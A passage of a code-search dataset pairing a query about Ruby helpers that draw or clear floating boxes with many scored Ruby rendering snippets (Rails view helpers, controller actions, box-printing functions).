"def build_box\n box = eval(type.sub('Template', '')).new\n box.box_template = self\n box.class.accessible_attributes.each do |attr|\n box.assign_attributes({attr => self.send(attr)}) unless ['type', ''].include? attr\n end\n box\n end",
"def create\n @box = Box.new(params[:box])\n\n respond_to do |format|\n if @box.save\n format.html { redirect_to @box, notice: 'Box was successfully created.' }\n format.json { render json: @box, status: :created, location: @box }\n else\n format.html { render action: \"new\" }\n format.json { render json: @box.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @box = Box.new(box_params)\n\n respond_to do |format|\n if @box.save\n format.html { redirect_to @box, notice: 'Box was successfully created.' }\n format.json { render :show, status: :created, location: @box }\n else\n format.html { render :new }\n format.json { render json: @box.errors, status: :unprocessable_entity }\n end\n end\n end",
"def use_boxover\n content_for :boxover do \n javascript_include_tag \"boxover\"\n end\n end",
"def actor_box(actor, role, date)\n partial(:actor_box, :locals => { :actor => actor, :role => role, :date => date })\n end",
"def create\n @box_content = BoxContent.new(box_content_params)\n\n respond_to do |format|\n if @box_content.save\n format.html { redirect_to @box_content, notice: 'Box content was successfully created.' }\n format.json { render :show, status: :created, location: @box_content }\n else\n format.html { render :new }\n format.json { render json: @box_content.errors, status: :unprocessable_entity }\n end\n end\n end",
"def colored_notes_box(even, msg = nil, &block)\n msg = capture(&block) if block_given?\n klass = \"ListLine#{even ? 0 : 1}\"\n style = [\n \"margin-left:10px\",\n \"margin-right:10px\",\n \"padding:10px\",\n \"border:1px dotted\"\n ].join(\";\")\n result = content_tag(:div, msg, class: klass, style: style)\n if block_given?\n concat(result)\n else\n result\n end\n end",
"def rectangle(x, y, width, height, options={})\n cur_page.rectangle(x, y, width, height, options)\n end",
"def render_decoration type, block, **args\n return unless block[:decorations].present? && block[:decorations][type].present?\n\n data = block[:decorations][type]\n classes = [type]\n classes << \"#{type}--#{args[:alignment] || data[:alignment] || 'left'}\" unless type == :circle\n classes << \"gradient--#{data[:color] || 'orange'}\" if type == :gradient\n\n if type == :gradient && args[:size]\n args[:size].each do |size|\n classes << \"gradient--#{size}\"\n end\n end\n\n if type == :circle\n inline_svg_tag 'graphics/circle.svg', class: classes\n elsif type == :sidetext\n classes << 'sidetext--overlay' unless args[:static]\n content_tag :div, data[:text], class: classes\n else\n tag.div class: classes\n end\n end",
"def hello\n \trender html: \"<div style='background-color:red'> OPA</div>\"\n end",
"def _content_tag(tag, options = {}, content = nil)\n if !options.is_a?(Hash)\n # content is first argument, do not pass hash as content\n inline = true\n content = options\n options = {}\n elsif content.present?\n inline = true\n end\n self.class.indent += 1\n html = \"#{' ' * self.class.indent}<#{tag}\".html_safe\n options.each do |attribute, value|\n value = value.to_json if value.is_a?(Hash) || value.is_a?(Array)\n html << \" #{attribute}='\".html_safe << replace_quote(value) << \"'\".html_safe\n end\n html << if inline\n '>'.html_safe << content.to_s << \"</#{tag}>\\n\".html_safe\n else\n \">\\n\".html_safe << yield << \"\\n#{' ' * self.class.indent}</#{tag}>\".html_safe\n end\n self.class.indent -= 1 if self.class.indent > 1\n html\n end",
"def content_tag(*args, &block)\n options = args.extract_options!\n escape = options.key?(:escape) ? options.delete(:escape) : true\n if wrapper_type = options.delete(:wrapper_type)\n\n html_option = options[\"#{wrapper_type}_html_option\".to_sym] || options[:html_option]\n wrapper_html = if html_option.is_a?(Array)\n html_option.map { |html_attribute| options[html_attribute] }.compact.first\n elsif html_option.present?\n options[html_option]\n end\n\n wrapper_html = concatenating_merge(options[\"#{wrapper_type}_html\".to_sym] || options[:html], wrapper_html, *args, options)\n\n wrapper_tag = options[\"#{wrapper_type}_tag\".to_sym]\n end\n wrapper_html ||= call_each_hash_value_with_params(options[:html], options).presence || options\n wrapper_tag ||= options.delete(:tag)\n\n if !wrapper_tag\n first_arg = args.first\n wrapper_tag = if first_arg.is_a?(String) || first_arg.is_a?(Symbol)\n args.shift\n else\n :div\n end\n end\n\n content_tag_args = [wrapper_tag]\n if !block_given?\n content_tag_args << (wrapper_html.delete(:content) || options[:content] || args.shift)\n end\n content_tag_args << wrapper_html\n content_tag_args << escape\n\n view.content_tag *content_tag_args, &block\n end",
"def show\n @box = Box.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @box }\n end\n end",
"def boxed\n @boxed = true\n end",
"def rounded_corners(content, options={})\n radius = options.delete(:radius)\n box_background_color = options.delete(:box_color)\n line_border_color = options.delete(:corner_color)\n \n box_style = options.delete(:style)\n box_attributes = options.map {|k, v| \"#{k.to_s}=\\\"#{v}\\\"\" }.join(' ')\n\n steps = corner_steps(radius.to_i)\n\n html = []\n html << \"<div style=\\\"position: relative; border: medium none; padding: #{radius}px; background: #{box_background_color}; #{box_style}\\\" #{box_attributes}>\"\n html << \"<div style=\\\"margin: -#{radius}px -#{radius}px 0px;\\\">\" \n steps.reverse.each do |i|\n html << \"<div style=\\\"border-style: none solid; overflow: hidden; height: 1px; background-color: transparent; border-width: 0pt #{i}px; border-color: #{line_border_color};\\\"></div>\"\n end\n html << \"</div>\"\n html << content\n html << \"<div style=\\\"margin: 0pt; padding: 0pt; position: absolute; left: 0pt; bottom: 0pt; width: 100%;\\\">\"\n steps.each do |i|\n html << \"<div style=\\\"border-style: none solid; overflow: hidden; height: 1px; background-color: transparent; border-width: 0pt #{i}px; border-color: #{line_border_color};\\\"></div>\"\n end\n html << \"</div>\"\n html << \"</div>\"\n\n html.join('')\nend",
"def mainBox(left = '', right = '')\n cls\n width = 80\n height = 28\n boxRight = TTY::Box.frame(top: 3, left: (width / 2.3).to_i, padding: [(height / 6.to_i), 4], width: (width / 2).to_i,\n height: (height / 1.5).to_i, align: :left, title: { bottom_right: $string[3] }) do\n right\n end\n boxLeft = TTY::Box.frame(top: 3, left: 1, padding: [2, 0], width: (width / 2.3).to_i, height: (height / 1.5).to_i,\n title: { top_left: $string[2] }, align: :center) do\n left\n end\n print boxLeft + boxRight + \"\\n\"\n end",
"def print_in_box(str)\n border = '+' + ('-' * (str.size + 2)) + '+'\n padding = '|' + (' ' * (str.size + 2)) + '|'\n text = '| ' + str + ' |'\n puts border, padding, text, padding, border\nend",
"def html_div(*args, &block)\n html_tag(:div, *args, &block)\n end",
"def render(options)\n if options[:haml]\n template_content = File.read(options[:haml])\n @page_contents << Haml::Engine.new(template_content).render(self) \n elsif options[:partial]\n template_content = File.read(options[:haml])\n return Haml::Engine.new(template_content).render(self) \n elsif options[:text]\n @page_contents << options[:text]\n else\n raise \"No render type found. Must be haml, partial or text\"\n end\n end",
"def control_box(title, options={}, &block)\n if options.has_key?(:rank) || options.has_key?(:user_id)\n return false unless rank?(options[:rank], :user_id => options[:user_id])\n end\n concat(\n content_tag(:div, :class => \"controls\") do\n content_tag(:div, :class => \"top\") do\n title\n end + \n content_tag(:div, :class => \"body\") do \n capture(&block)\n end\n end\n )\n end",
"def tag(text, options={})\n puts \"options before processing: #{options.inspect}\"\n tag = options.delete(:tag) || 'div'\n puts \"options after processing: #{options.inspect}\"\n attrs = options.map {|(key, value)| \"#{key}='#{value}'\" }.join(' ')\n \n \"<#{tag} #{attrs}>#{text}</#{tag}>\"\nend",
"def render_body(context, options); end",
"def render_rich_styleblock(name, options)\n if @section.blank? or @section.description.blank?\n raise \"Section must have a description. Section #{options[:section]} does not have one or section does not exist.\"\n end\n\n # Render the styleguide block\n ::Tilt.new(self.styleguide_block_path).render(self)\n end",
"def create\r\n\t\t@box = Box.new(box_params)\r\n\t\tif @box.valid? && @box.photo?\r\n\t\t\tclient = kaltura_setup\r\n\t\t\tentry_id = kaltura_upload(box_params[:barcode], box_params[:photo], client)\r\n\r\n\t\t\[email protected] = entry_id\r\n\t\tend\r\n\r\n\t\trespond_to do |format|\r\n\t\t\tif @box.save\r\n\t\t\t\tformat.html { redirect_to @box, notice: 'Box was successfully created.' }\r\n\t\t\t\tformat.json { render :show, status: :created, location: @box }\r\n\t\t\telse\r\n\t\t\t\tif @box.photo != nil\r\n\t\t\t\t\[email protected] = nil\r\n\t\t\t\t\[email protected][:photo] = \"Please select the image again\"\r\n\t\t\t\tend\r\n\t\t\t\tformat.html { render :new }\r\n\t\t\t\tformat.json { render json: @box.errors, status: :unprocessable_entity }\r\n\t\t\tend\r\n\t\tend\r\n\tend",
"def print_in_box(text)\n banner_size = text.size\n puts \"+-\" + (\"-\" * banner_size) + \"-+\"\n puts \"| \" + (\" \" * banner_size) + \" |\"\n puts \"| #{text} |\"\n puts \"| \" + (\" \" * banner_size) + \" |\"\n puts \"+-\" + (\"-\" * banner_size) + \"-+\"\nend",
"def box(banner = nil)\n theCopy = TextRect.new(self)\n return theCopy.box!(banner)\n end",
"def render\n <<-HTML\n <div class=\"relative\">\n <a href=\"#{url}\"class=\"#{position_classes}f6 link dim br2 ph3 pv2 dib white bg-blue\" data-help-link=\"Y\" target=\"cbf-help\">#{Icon.new(:question).render} #{text}</a>\n </div>\n HTML\n end",
"def render_menu_node(node, style=:tabs, options)\n caption, url, selected = extract_node_details(node)\n cls = ( selected ? options[:current_class] : options[:li_class] )\n case style\n when :tabs\n content_tag('li', render_link(caption, url, selected, options), :class=>cls).html_safe\n when :divs\n render_link(caption, url, selected, options).html_safe\n end\n end",
"def div_wrapper(attribute, options = {}, &block)\n options[:id] = _wrapper_id attribute, options[:id]\n options[:class] = _wrapper_classes attribute, options[:class]\n\n template.content_tag :div, options, &block\n end",
"def userbox\n if @current_user\n content = \"\n <section class='userbox'>\n <img src='#{@current_user.image}'>\n <h2>#{@current_user.name}</h2>\n <p>#{@current_user.posts.count} #{'post'.pluralize(@current_user.posts.count)} | honesty rating #{number_to_percentage(@current_user.rating*100, precision: 0)}</p>\n </section>\n \"\n else\n content = \"\"\n end\n #admin\n if @current_user && @current_user.admin\n stuff = \"do admin stuff\"\n end\n content \n end",
"def render_to_body(options = {})\n\t end",
"def create_image_object(obj)\n return content_tag(:div, tag(:img, :src => obj.link), :style => \"position:absolute; top: #{obj.y}px; left: #{obj.x}px;\")\n end",
"def render(options={}, &block)\n if options[:nothing]\n return \"\" \n end\n \n if options[:text]\n options.reverse_merge!(:render_children => false)\n end\n \n options.reverse_merge! :render_children => true,\n :locals => {},\n :invoke => {},\n :suppress_js => false\n \n \n rendered_children = render_children_for(options)\n \n options[:locals].reverse_merge!(:rendered_children => rendered_children)\n \n @suppress_js = options[:suppress_js] ### FIXME: implement with ActiveHelper and :locals.\n \n \n render_view_for(options, action_name) # defined in Cell::Base.\n end",
"def apply\n @textBox.set_markup(\"<span style='\"[email protected]_s+\"' weight='\"[email protected]_s+\"' foreground='\"[email protected]_s+\"' font_desc='\"[email protected]_s+\" \"[email protected]_s+\"'>\"+@label+\"</span>\")\n end",
"def inner_html(*args); end",
"def inner_html(*args); end",
"def bp_buttons(*args, &block)\n if block_given?\n options = args.first || {}\n html_options = args.second\n bp_buttons(capture(&block), options, html_options)\n else\n html_buttons = args.first\n options = args.second || {}\n options_hash = options\n\n options_hash[:class] = options[:class].blank? ? 'bp-box-buttons' : bp_class(\"bp-box-buttons #{options[:class]}\")\n label = options[:label].blank? ? '' : content_tag(:div, bp_html_print(options[:label]), :class=>'label')\n\n out = label\n out += html_buttons\n\n content_tag :div, bp_html_print(out), options_hash\n end\n end",
"def draw_node(level, name, label, kind, styles=[])\n shape = case kind\n when :class then \"box\"\n when :enum then \"hexagon\"\n when :interface then \"ellipse\"\n else \"rect\"\n end\n\n attrs = []\n attrs << \"color=red\" unless kind\n attrs << \"shape=#{shape}\" if shape\n attrs << \"label=\\\"#{label}\\\"\"\n attrs << \"style=#{styles.join(',')}\" unless styles.empty?\n\n puts_indent level, \"#{sanitize name} [#{attrs.join(',')}];\"\nend",
"def add_textbox(transform, content, formatting={})\n shape = Shapes::Textbox.new(transform, content, formatting)\n shape_tree_xml.add_child(shape.build_node)\n end",
"def box(x: 0, y: @pdf.cursor, w: @pdf.bounds.width, h:, border: false)\n @pdf.bounding_box [x, y], width: w, height: h do\n @pdf.stroke_bounds if border\n yield\n end\n end",
"def create_redbox_css_hash(options)\n return {:style => options[:style],\n :class => options[:class],\n :alt => options[:tooltip_text],\n :title => tooltip_title_attrib(options[:tooltip_text]) }\n end",
"def show\n @box = Box.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @box }\n end\n end",
"def print_in_box(str)\n size = str.size\n border_line = '+-' + ('-' * size) + '-+'\n empty_line = '| ' + (' ' * size) + ' |'\n text_line = '| ' + str + ' |'\n \n puts border_line\n puts empty_line\n puts text_line\n puts empty_line\n puts border_line\nend",
"def widget_div(*args, &block)\n widget_tag(:div, *args, &block)\n end",
"def render_to_body(options); end",
"def box_panel_links options={ remove: false, collapse: false }\n content_tag :div, class: 'box-tools' do\n yield if block_given?\n concat(content_tag(:button, class: 'btn btn-box-tool', data: { widget: \"collapse\" }) do\n content_tag :i, \"\", class: 'fa fa-minus'\n end) if options[:collapse]\n concat(content_tag(:button, class: \"btn btn-box-tool\", data: { widget: \"remove\" }) do\n content_tag(:i, \"\", class: \"fa fa-times\")\n end) if options[:remove]\n end\n end",
"def link(content,href,options={})\n options.update :href => href\n tag :a, content, options\n end",
"def print_in_box(str)\n length = str.size\n print \"+-#{\"-\" * length}-+\\n\"\n print \"| #{\" \" * length} |\\n\"\n print \"| #{str} |\\n\"\n print \"| #{\" \" * length} |\\n\"\n print \"+-#{\"-\" * length}-+\\n\"\nend",
"def draw_html(*args)\n if args[0].is_a?(Rect)\n x = args[0].x\n y = args[0].y\n width = args[0].width\n height = args[0].height\n str = args[1]\n textwrap = args[2]==true ? args[2] : false\n @aling = !textwrap && args[2] ? args[2] : 0\n @aling = textwrap && args[3] ? args[3] : 0\n else\n x = args[0]\n y = args[1]\n width = args[2]\n height = args[3]\n str = args[4]\n textwrap = args[5]==true ? args[5] : false\n @aling = !textwrap && args[5] ? args[5] : 0\n @aling = textwrap && args[6] ? args[6] : 0\n end\n str = str.to_s if str.is_a?(Numeric)\n @text = \"\"\n @max_width = width\n @aling = 0\n @max_height = height\n str = str.clone\n color = font.color.clone\n bold = font.bold\n italic = font.italic\n size = font.size\n name = font.name.clone\n shadow = false\n underlined = false\n opacity = 255\n str.gsub!(/<if=([0-9]+)>(.*)<else>(.*)<\\/if>/) {$game_switches[$1.to_i] ? $2 : $3}\n str.gsub!(/<f=([0-9]+)>(.*)<\\/f>/) {$game_switches[$1.to_i] ? $2 : \"\"}\n str.gsub!(/<v\\[([0-9]+)\\]>([0-9]+)>(.*)<\\/v>/) {$game_variables[$1.to_i]>$2.to_f ? $3 : \"\"}\n str.gsub!(/<v\\[([0-9]+)\\]<([0-9]+)>(.*)<\\/v>/) {$game_variables[$1.to_i]<$2.to_f ? $3 : \"\"}\n str.gsub!(/<var=([0-9]+)>/) {$game_variables[$1.to_i].to_s}\n str.gsub!(/<tv=([0-9]+)>/) {$game_temp.tidloc[:var][eval($1)].to_s}\n str.gsub!(/<tif=(.*)>(.*)<else>(.*)<\\/tif>/) {$game_temp.tidloc[:var][eval($1)] ? $2 : $3}\n str.gsub!(/<eval=(.*)>/) {eval $1}\n str.gsub!(/{eval=(.*)}/) {eval $1}\n str.gsub!(/<eval>(.*)<\\/eval>/) {eval $1}\n str.gsub!(/<style=([a-zA-Z0-9_]+)>(.*)<\\/style>/) {\n STYLES.has_key?($1) ? STYLES[$1].sub(\"|\", $2) : \"\"\n } if defined?(STYLES)\n str.gsub!(/<br>/) {\"\\n\"}\n str.gsub!(/\\\\\\\\/) {\"\\00\"}\n str.gsub!(/<b>/) {\"\\01\"}\n str.gsub!(/<\\/b>/) {\"\\02\"}\n str.gsub!(/<i>/) {\"\\03\"}\n str.gsub!(/<\\/i>/) {\"\\04\"}\n str.gsub!(/<color=(#?[0-9a-z_]+)>/) {\"\\05[#{$1}]\"}\n str.gsub!(/<\\/color>/) {\"\\06\"}\n str.gsub!(/<shadow>/) {\"\\16\"}\n str.gsub!(/<\\/shadow>/) {\"\\17\"}\n str.gsub!(/<small>/) {\"\\20\"}\n str.gsub!(/<\\/small>/) {\"\\21\"}\n str.gsub!(/<big>/) {\"\\23\"}\n str.gsub!(/<\\/big>/) {\"\\21\"}\n str.gsub!(/<size=(\\d+)>/) {\"\\24[#{$1}]\"}\n str.gsub!(/<\\/size>/) {\"\\21\"}\n str.gsub!(/<font=([\\w\\s]+)>/) {\"\\25[#{$1}]\"}\n str.gsub!(/<\\/font>/) {\"\\26\"}\n str.gsub!(/<u>/) {\"\\27\"}\n str.gsub!(/<\\/u>/) {\"\\28\"}\n str.gsub!(/<icon=([0-9]+)>/) {\"\\11[#{$1}]\"}\n str.gsub!(/<img=(.*)>/) {\"\\31<Graphics/Pictures/#{$1}>\"}\n str.gsub!(/<battler=(.*)>/) {\"\\31<Graphics/Battlers/#{$1}>\"}\n str.gsub!(/<down=([0-9]+)>/) {\"\\22[#{$1}]\"}\n str.gsub!(/<space=([0-9]+)>/) {\"\\140\\01[#{$1}]\"}\n str.gsub!(/<line>/) {\"\\07\"}\n str.gsub!(/<actor=([0-9]+)>/) {$data_actors[$1.to_i].name}\n str.gsub!(/<party=([0-9]+)>/) {$game_party.members[$1.to_i].name}\n str.gsub!(/<left>/) {\"\\140\\02\"}\n str.gsub!(/<center>/) {\"\\140\\03\"}\n str.gsub!(/<right>/) {\"\\140\\04\"}\n ix = 0\n iy = 0\n \n \n \n \n \n while ((c = str.slice!(/./m)) != nil)\n if c == \"\\00\" # \\\\\n @text += \"\\\\\"\n elsif c == \"\\01\" # <b>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n font.bold = true\n elsif c == \"\\02\" #</b>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n font.bold = false\n elsif c == \"\\03\" # <i>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n font.italic = true\n elsif c == \"\\04\" # </i>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n font.italic = false\n elsif c == \"\\05\" # <color=xxx>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n str.sub!(/\\[(#?[0-9A-Za-z_]+)\\]/, \"\")\n if $1[0] == '#'\n col = Color.decode($1)\n elsif $1.to_i != 0\n col = Window_Base.text_color($1.to_i)\n else\n col = Color.get($1)\n end\n font.color = col\n elsif c == \"\\06\" # </color>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n font.color = color\n elsif c == \"\\16\" # <shadow>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n shadow = true\n elsif c == \"\\17\" # </shadow>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n shadow = false\n elsif c == \"\\20\" # <small>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n font.size -= 5 if font.size > 10\n elsif c == \"\\21\" # </small> </big> </size>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n font.size = size\n elsif c == \"\\23\" # <big>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n font.size += 5 if font.size < 92\n elsif c == \"\\24\" # <size=xx>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n str.sub!(/\\[(\\d+)\\]/, \"\")\n newsize = $1.to_i\n font.size = newsize if newsize > 5 and newsize < 97\n elsif c == \"\\25\" # <font=xxx>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n str.sub!(/\\[([\\w\\s]*)\\]/, \"\")\n font.name = $1 if Font.exist?($1)\n elsif c == \"\\26\" # </font>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n font.name = name\n elsif c == \"\\27\" # <u>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n underlined = true\n elsif c == \"\\28\" # </u>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n underlined = false\n elsif c == \"\\11\" #<icon=xxx>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n str.sub!(/\\[(.*)\\]/, \"\")\n temp = $1.to_i\n bitmap = Cache.system(\"Iconset\")\n rect = Rect.new(temp % 16 * 24, temp / 16 * 24, 24, 24)\n blt(x+ix + 8, y+iy + LINE_HEIGHT/2 - 12, bitmap, rect, 255)\n ix += 24\n elsif c == \"\\31\" # <img=xxx>,<battler=xxx>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n str.sub!(/<(.*)>/, \"\")\n temp=$1\n image=Cache.normal_bitmap(temp)\n iy += text_size(\"T\").height\n blt((width-image.rect.width)/2, iy, image, image.rect)\n iy += image.rect.height\n ix = 0\n elsif c == \"\\22\" # <down=xxx>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n str.sub!(/\\[([0-9]+)\\]/, \"\")\n iy += $1.to_i + text_size(\"T\").height\n ix = 0\n elsif c == \"\\100\" # blank space\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n ix += text_size(\"T\").width\n elsif c == \"\\140\" # additional commands\n c2 = str.slice!(/./m)\n if c2 == \"\\01\" # <space=xxx>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n str.sub!(/\\[([0-9]+)\\]/, \"\")\n ix += $1.to_i\n c = \"\"\n elsif c2 == \"\\02\" # <left>\n @aling = 0\n elsif c2 == \"\\03\" # <center>\n @aling = 1\n elsif c2 == \"\\04\" # <right>\n @aling = 2\n end\n elsif c == \"\\07\" # <line>\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n iy += text_size(\"T\").height + 3\n fill_rect(16, iy, width-32, 2, font.color)\n fill_rect(16, iy, width-32, 2, Color.new(192, 192, 192, 156)) if shadow\n iy += 5\n ix = 0\n elsif c == \"\\n\"\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n iy += text_size(\"T\").height\n ix = 0\n elsif c == \" \" && textwrap\n t=write_text(x,ix,y,iy,textwrap,shadow,underlined);ix=t[0];iy=t[1]\n @text = \" \"\n else\n @text += c\n end\n end\n \n t=write_text(x,ix,y,iy,textwrap,shadow,underlined)\n ix=t[0]\n iy=t[1]\n \n @text = \"\"\n temp = text_size(\"T\").height\n font.color = color\n font.bold = bold\n font.italic = italic\n font.size = size\n font.name = name\n return iy + temp\n end",
"def add_box (box)\n @boxes[box] = \"build\" \n end",
"def add(box, doLayout = true)\n # add the box\n @boxes << box\n box.inPosition = false\n box.parent = self\n \n if doLayout\n findSpot(box)\n end\n end",
"def render_help_text(text, options={})\n options.stringify_keys!\n mapping = {:notice => \"helpInfo\", :info => \"helpInfo\", :warning => \"helpWarning\", :error => \"helpError\"}\n\n id = options.delete('id')\n display = options.delete('display') || false\n onclick = options.delete('onclick') || visual_effect(:blind_up, id, :duration => 0.3)\n type = mapping[(options.delete('type') || 'info').to_sym]\n<<-HTML\n<div id=\"#{id}\" class=\"helpInfoBox\" onclick='#{onclick}' style=\"#{display ? '' : 'display:none;'}\">\n <table cellpadding=0 cellspacing=0>\n \t<tr>\n \t\t<td class=\"helpInfoLeft\">\n \t\t\t<div class=\"#{type}\"></div>\n \t\t</td>\n \t\t<td class=\"helpInfoContent\">\n \t\t #{text}\n \t\t</td>\n \t</tr>\n </table>\n</div>\nHTML\n end",
"def insert_object(name, type = :text, options = {}, html_options = {})\n extend ActionView::Helpers::TagHelper\n extend ActionView::Helpers::TextHelper\n \n @page_objects ||= {}\n \n key = \"obj-#{type.to_s}-#{name.gsub(/[^\\w]/, '_')}\"\n case type.to_sym\n when :string\n content = substitute_placeholders(@page_objects[key] || '', @pg)\n content = erb_render(content)\n content = auto_link(content, :all, :target => '_blank') unless options[:disable_auto_link]\n content_tag :span, content, html_options\n when :text\n content = substitute_placeholders(@page_objects[key] || '', @pg)\n content = erb_render(content)\n content = auto_link(content, :all, :target => '_blank') unless options[:disable_auto_link]\n content_tag :div, content, html_options\n when :page_list\n @rss_feeds ||= []\n @rss_feeds << name\n \n case @page_objects[\"#{key}-style-display-as\"]\n when 'calendar'\n pages = page_list_items(@pg, key, options).compact.uniq.\n sort { |a,b| (a.position || 0) <=> (b.position || 0) }.\n sort { |a,b| (b.article_date || b.published_date || Time.now) <=>\n (a.article_date || a.published_date || Time.now) }\n render :partial => 'page_list_calendar', :locals => { :key => key, :pages => pages }\n else # display as 'list'\n today = Time.mktime(Time.now.year, Time.now.month, Time.now.day)\n case @page_objects[\"#{key}-date-range\"]\n when 'all'\n when 'past'\n options[:end_date] ||= today\n when 'future'\n options[:start_date] ||= today\n when 'custom'\n options[:start_date] ||= @page_objects[\"#{key}-date-range-custom-start\"]\n options[:end_date] ||= @page_objects[\"#{key}-date-range-custom-end\"]\n end\n \n pages = page_list_items(@pg, key, options).compact.uniq\n \n options[:wrapper_div] = true\n \n # make options specified in snippets and templates accessible to\n # page list segments and rss feeds\n @page_objects[\"#{key}-template\"] = options[:template] if @page_objects[\"#{key}-template\"].empty?\n \n render_page_list_segment(name, pages, options, html_options)\n end\n when :snippet\n @snippet = CmsSnippet.find_by_name(name)\n if @snippet\n erb_render(substitute_placeholders(@snippet.content, @pg))\n else\n 'Could not find snippet \"' + name + '\" in the database.'\n end\n when :photo_gallery\n gallery_dir = File.join('images', 'content', @pg.path, File.basename(name))\n Dir.chdir(File.join(RAILS_ROOT, 'public'))\n all_images = Dir.glob(\"#{gallery_dir}/*.{jpg,jpeg,png,gif}\")\n Dir.chdir(RAILS_ROOT)\n all_images.sort! { |a,b| File.basename(a).to_i <=> File.basename(b).to_i }\n images = all_images.reject { |img| img =~ /-thumb/ }\n thumbs = all_images.reject { |img| img !~ /-thumb/ }\n render_to_string :partial => 'photo_gallery', :locals => { :name => name, :images => images, :thumbs => thumbs }\n end\n end",
"def area(name, content = nil, &block)\n content = capture(&block) if block_given?\n append name, content\n render_area name\n end",
"def content(data = {}, &block)\n @renderer.render(get_data(data), &block)\n end"
] | [
"0.66518354",
"0.64276874",
"0.63438886",
"0.62945646",
"0.6275616",
"0.62258786",
"0.5826013",
"0.57734585",
"0.575188",
"0.5711554",
"0.5708607",
"0.5708331",
"0.56436723",
"0.56094885",
"0.5501951",
"0.5469089",
"0.54682136",
"0.5411976",
"0.54065824",
"0.5400691",
"0.535109",
"0.52880824",
"0.52856123",
"0.52819836",
"0.5260019",
"0.5243506",
"0.5242502",
"0.52374095",
"0.5215057",
"0.5206725",
"0.516369",
"0.51540524",
"0.5149731",
"0.5147989",
"0.51449805",
"0.514256",
"0.514256",
"0.5135684",
"0.5103831",
"0.5075893",
"0.5055095",
"0.50222003",
"0.50222003",
"0.4995722",
"0.49924377",
"0.49631625",
"0.49484783",
"0.49459434",
"0.49319986",
"0.49205548",
"0.49102747",
"0.49075353",
"0.49008584",
"0.49007097",
"0.48968077",
"0.48931688",
"0.48839948",
"0.48837027",
"0.48811358",
"0.48642498",
"0.48565066",
"0.48540428",
"0.4840583",
"0.4826646",
"0.48099428",
"0.48019305",
"0.47988006",
"0.4789494",
"0.47884133",
"0.47878912",
"0.47862616",
"0.47851348",
"0.47807363",
"0.4779757",
"0.47760195",
"0.47759986",
"0.4767456",
"0.47613937",
"0.4748437",
"0.47473884",
"0.47473884",
"0.47472522",
"0.4744106",
"0.473553",
"0.47343838",
"0.47339064",
"0.47286594",
"0.47266033",
"0.4725507",
"0.47235906",
"0.4719638",
"0.47187543",
"0.47081807",
"0.4702482",
"0.4697104",
"0.46907407",
"0.4688373",
"0.4685911",
"0.46779752",
"0.46764278"
] | 0.74547935 | 0 |
If you want to put two boxes side by side, they both have to be float: left Add this tag after the last one to prevent other blocks from floating. | def clear_both
content_tag :div, nil, :class => "clear_both"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def field_block(cols = 2, &block)\n css_class = \"float_left\"\n css_class << \"_#{cols}\" unless cols == 2\n concat('<div class=\"'+ css_class +'\">', block.binding)\n yield\n concat('</div>', block.binding)\n concat('<div style=\"clear:both;\"></div>', block.binding)\n end",
"def mainBox(left = '', right = '')\n cls\n width = 80\n height = 28\n boxRight = TTY::Box.frame(top: 3, left: (width / 2.3).to_i, padding: [(height / 6.to_i), 4], width: (width / 2).to_i,\n height: (height / 1.5).to_i, align: :left, title: { bottom_right: $string[3] }) do\n right\n end\n boxLeft = TTY::Box.frame(top: 3, left: 1, padding: [2, 0], width: (width / 2.3).to_i, height: (height / 1.5).to_i,\n title: { top_left: $string[2] }, align: :center) do\n left\n end\n print boxLeft + boxRight + \"\\n\"\n end",
"def box_beside_previous(width, height, options = {}, &block)\n box_beside(last_created_box, width, height, options, &block)\n end",
"def left\n check_placement\n\n super\n end",
"def bob_left_span\n raw '<div class=\"row\">' \\\n ' <div class=\"large-8 medium-6 small-12 columns\">'\n end",
"def clear_both\n '<div style=\"clear:both\"></div>'.html_safe\n end",
"def boxes_with_consistent_order\n boxes.sort { |b1, b2| b1.schema_id <=> b2.schema_id }\n end",
"def clear\n prev_block = prev\n case alignment\n when 'left'\n (prev_block && prev_block.alignment == 'right') ? :after : :before\n when 'right'\n (prev_block && prev_block.alignment == 'left') ? :after : :before\n else\n nil\n end \n end",
"def clearboth \n raw '<div class=\"cl\"> </div>'\n end",
"def box_below_previous(width, height, opcoes = {}, &block)\n box_below(last_created_box, width, height, opcoes, &block)\n end",
